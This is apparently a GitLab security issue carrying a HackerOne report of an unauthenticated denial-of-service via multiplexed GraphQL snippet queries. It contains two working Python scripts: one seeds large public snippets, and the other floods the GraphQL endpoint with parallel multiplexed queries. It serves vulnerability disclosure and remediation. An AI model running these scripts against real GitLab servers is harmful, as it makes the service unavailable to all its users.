Unauthenticated DoS in GitLab via GraphQL project.snippets Multiplexing on Public Snippets

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3100624 by pwnie on 2025-04-19, assigned to @greg:

Report | How To Reproduce

Report

Unauthenticated Denial‑of‑Service via GraphQL Snippet‑Multiplexing in GitLab

1 · Summary

GitLab’s GraphQL endpoint lets anyone query public snippets.
By placing the same project { snippets { … blobs } } selection eight times inside a single operation and running many such operations in parallel, an attacker multiplies backend load well beyond what the server appears to account for.
The instance quickly stops responding, producing a denial‑of‑service (DoS) without requiring authentication.


2 · Steps to Reproduce

(Replace base URL, token, and project path as needed.)

2.1 Seed large public snippets
python3 bulk_snippets.py \  
  --gitlab-url http://gitlab.local \  
  --private-token glpat-XXXXXXXXXXXXXXXX \  
  --project-name dos-demo \  
  --num-snippets 100 \  
  --snippet-size 1000000  
bulk_snippets.py
###  !/usr/bin/env python3  
"""Create one public project and N public snippets of configurable size."""  
from __future__ import annotations  
import argparse, requests

def mk_project(url, hdrs, name):  
    r = requests.post(f"{url}/api/v4/projects",  
                      headers=hdrs,  
                      json={"name": name, "visibility": "public"})  
    r.raise_for_status()  
    return r.json()["id"]

def mk_snip(url, hdrs, pid, title, path, content):  
    requests.post(f"{url}/api/v4/projects/{pid}/snippets",  
                  headers=hdrs,  
                  json={"title": title,  
                        "visibility": "public",  
                        "files": [{"file_path": path, "content": content}]})

def main():  
    p = argparse.ArgumentParser()  
    p.add_argument("--gitlab-url", required=True)  
    p.add_argument("--private-token", required=True)  
    p.add_argument("--project-name", required=True)  
    p.add_argument("--num-snippets", type=int, default=100)  
    p.add_argument("--snippet-size", type=int, default=1_000_000)  
    a = p.parse_args()

    hdr = {"PRIVATE-TOKEN": a.private_token}  
    pid = mk_project(a.gitlab_url.rstrip("/"), hdr, a.project_name)  
    blob = "a" * a.snippet_size  
    for i in range(1, a.num_snippets + 1):  
        mk_snip(a.gitlab_url, hdr, pid, f"Snippet{i}", f"s{i}.txt", blob)

if __name__ == "__main__":  
    main()  
2.2 Flood GraphQL with multiplexed snippet queries
python3 flood_graphql.py \  
  --host http://gitlab.local \  
  --project dos-demo \  
  --parallel 20 \  
  --copies 8  
flood_graphql.py
###  !/usr/bin/env python3  
import argparse, asyncio, aiohttp, logging  
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(message)s")

def build_query(path, copies):  
    return "query{\n" + "".join(  
        f'p{i}:project(fullPath:"{path}"){{snippets(first:100)'  
        '{{nodes{{blobs{{nodes{{rawPlainData}}}}}}}}}}\n'  
        for i in range(1, copies + 1)  
    ) + "}"

async def send(idx, session, url, q):  
    async with session.post(url, json={"query": q}) as r:  
        logging.info(f"[{idx:02}] {r.status}")

async def main():  
    ap = argparse.ArgumentParser()  
    ap.add_argument("--host", required=True)  
    ap.add_argument("--project", required=True)  
    ap.add_argument("--parallel", type=int, default=20)  
    ap.add_argument("--copies", type=int, default=8)  
    A = ap.parse_args()

    url = A.host.rstrip("/") + "/api/graphql"  
    q = build_query(A.project, A.copies)

    async with aiohttp.ClientSession() as s:  
        await asyncio.gather(*(send(i, s, url, q) for i in range(A.parallel)))

if __name__ == "__main__":  
    asyncio.run(main())  

Expected result:
Within seconds, the GitLab instance becomes unresponsive; UI and API calls return errors (502/503), demonstrating a denial‑of‑service.


3 · Impact
  • Availability loss: An unauthenticated attacker can render GitLab unusable for all users.
  • Cause (observable): The server does not scale request‑complexity limits with multiplexing depth, so backend load grows disproportionately fast despite normal snippet size and pagination limits.

Impact

  • Availability loss: An unauthenticated attacker can render GitLab unusable for all users.
  • Cause (observable): The server does not scale request‑complexity limits with multiplexing depth, so backend load grows disproportionately fast despite normal snippet size and pagination limits.

How To Reproduce

Please add reproducibility information to this section: